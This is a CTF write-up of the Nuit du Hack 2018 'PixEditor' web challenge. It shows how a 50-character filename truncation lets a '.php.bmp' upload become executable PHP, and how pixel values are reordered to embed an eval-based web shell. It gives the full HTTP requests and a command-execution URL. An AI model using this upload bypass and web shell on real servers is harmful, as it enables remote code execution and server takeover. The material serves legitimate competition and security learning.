Write-up of the challenge “Web – PixEditor” of Nuit du Hack 2018 CTF qualifications.
The weekend of 03/31/2018 is pre-qualification for the Nuit du Hack 2018 as a Jeopardy CTF. Having had the opportunity and the time to participate with some colleagues and friends, here’s a write-up resolution of the challenges which we could participate.
- Category: Web
- Name: PixEditor
- Description : Create your own pixel art with this powerful tool.
- URL : http://pixeditor.challs.malice.fr/
- Points : 350
This webapp can be used to draw a picture pixel per pixel and save this picture on the webserver with a selected format (JPG, BMP…).
Webapp main page :
By analyzing HTTP request when we save the picture, we can see that pixel-decimal values are sent through “data” POST parameter. We choose the BMP format for pure pixel-value without any compression nor transformation.
POST /save.php HTTP/1.1 Host: pixeditor.challs.malice.fr User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://pixeditor.challs.malice.fr/ Content-Length: 12389 Connection: close data=[255,0,0,255,255,0,0,255,255,0,0,255,255 [...] 100,99,98,97,255,0,0,255]&name=image.bmp&format=BMP
The name of the image (filename) is defined in POST parameter too. We tried several extension bypass like “.php”, “.php%00.bmp”, with CRLF, double-extension, nullbytes… Without any success (protection in place).
Then, we found the “/js/pixeditor.js” script link in the main HTML page. In this script, there is an interesting information about filename. They are truncated at 50 chars :
We can now try to put a filename of 54 char with the extension “.php.bmp”. So the last 4 chars (.bmp) will be truncated :
POST /save.php HTTP/1.1 Host: pixeditor.challs.malice.fr User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://pixeditor.challs.malice.fr/ Content-Length: 12389 Connection: close data=[255,0,0,255,255,0,0,255,255,0,0,255,255 [...] 100,99,98,97,255,0,0,255]&name=&name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php.bmp&format=BMP
Perfect ! The “.bmp” extension is truncated and our PHP file is uploaded (with BMP content) :
http://pixeditor.challs.malice.fr/images/38db8710b841ada4658682b357c35ccdc55445016cad930d0a4da1bd1220bc13/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php
This PHP file displays our BMP content as raw :
BM66( ???????????? [...] ????????????????
We need to inject in pixel-values a valid PHP code. Our PHP payload wanted is :
<?php eval($_GET["x"]);?>
Each pixel of the picture has a value between 0 to 255 (decimal value). So we can use a pattern and check which chars of this pattern are reflected and in which order in the final picture saved. Our pattern is :
abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
Convert this string into decimal value via online tool :
97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 48 49 50 51 52 53 54 55 56 57 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
Replace last pixels (0-255) with our decimal value of the pattern (keep BMP header intact) :
POST /save.php HTTP/1.1 Host: pixeditor.challs.malice.fr User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://pixeditor.challs.malice.fr/ Content-Length: 12389 Connection: close data=[255,0,0,255,255 [...] 90,89,88,87,86,85,84,83,82,81,80,79,78,77,76,75,74,73,72,71,70,69,68,67,66,65,58,57,56,55,54,53,52,51,50,49,48,122,121,120,119,118,117,106,115,114,113,112,111,110,109,108,107,106,105,104,103,102,101,100,99,98,97,255,0,0,255]&name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php.bmp&format=BMP
The PHP-image file is saved on the server successfully. When consulted, the page display :
BM66( ???????????????YZ?UVWQRSMNOIJKEFGABC789345z01vwxrsjnopjklfghbcd?????????????????
We observed a reflection of several part of our pattern, group by 3 chars and reversed. Several chars are missing.
So from the reflected pattern “UVWQRSMNOIJKEFGABC789345z01vwxrsjnopjklfghbcd” we can replace their decimal values by decimal values of our payload.
Pattern reflected: UVWQRSMNOIJKEFGABC789345z01vwxrsjnopjklfghbcd Pattern reflected decimal: 85 86 87 81 82 83 77 78 79 73 74 75 69 70 71 65 66 67 55 56 57 51 52 53 122 48 49 118 119 120 114 115 106 110 111 112 106 107 108 102 103 104 98 99 100 Payload PHP : <?php eval($_GET["x"]);?> Payload PHP decimal: 60 63 112 104 112 32 101 118 97 108 40 36 95 71 69 84 91 34 120 34 93 41 59 63 62
The “U” (85) became “60” (<), “V” (86) became “63” (?) etc.
Which produce the next decimal values of pixels with our PHP payload “<?php eval($_GET[“x”]);?>” :
POST /save.php HTTP/1.1 Host: pixeditor.challs.malice.fr User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://pixeditor.challs.malice.fr/ Content-Length: 12395 Connection: close data=[255,0,0,255,255 [...] 255,90,89,88,112,63,60,84,32,112,104,80,97,118,101,76,36,40,108,72,69,71,95,68,34,91,84,58,93,34,120,54,63,59,41,50,49,48,62,121,120,119,118,117,106,115,114,113,112,111,110,109,108,107,106,105,104,103,102,101,100,99,98,97,255,0,0,255]&name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php.png&format=BMP
The PHP-picture with our payload injected is syntaxically valide and saved on the server. Exploit it !
http://pixeditor.challs.malice.fr/images/e1372d74008602ab0808a5c034edba071c00ecf4442b64284665357d8756430a/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxximage.php?x=system($_GET["z"]);&z=ls -la
File “/flag” seems interresting :
Bingo ! Well done Martin 😉
Greeting to the whole team ! 🙂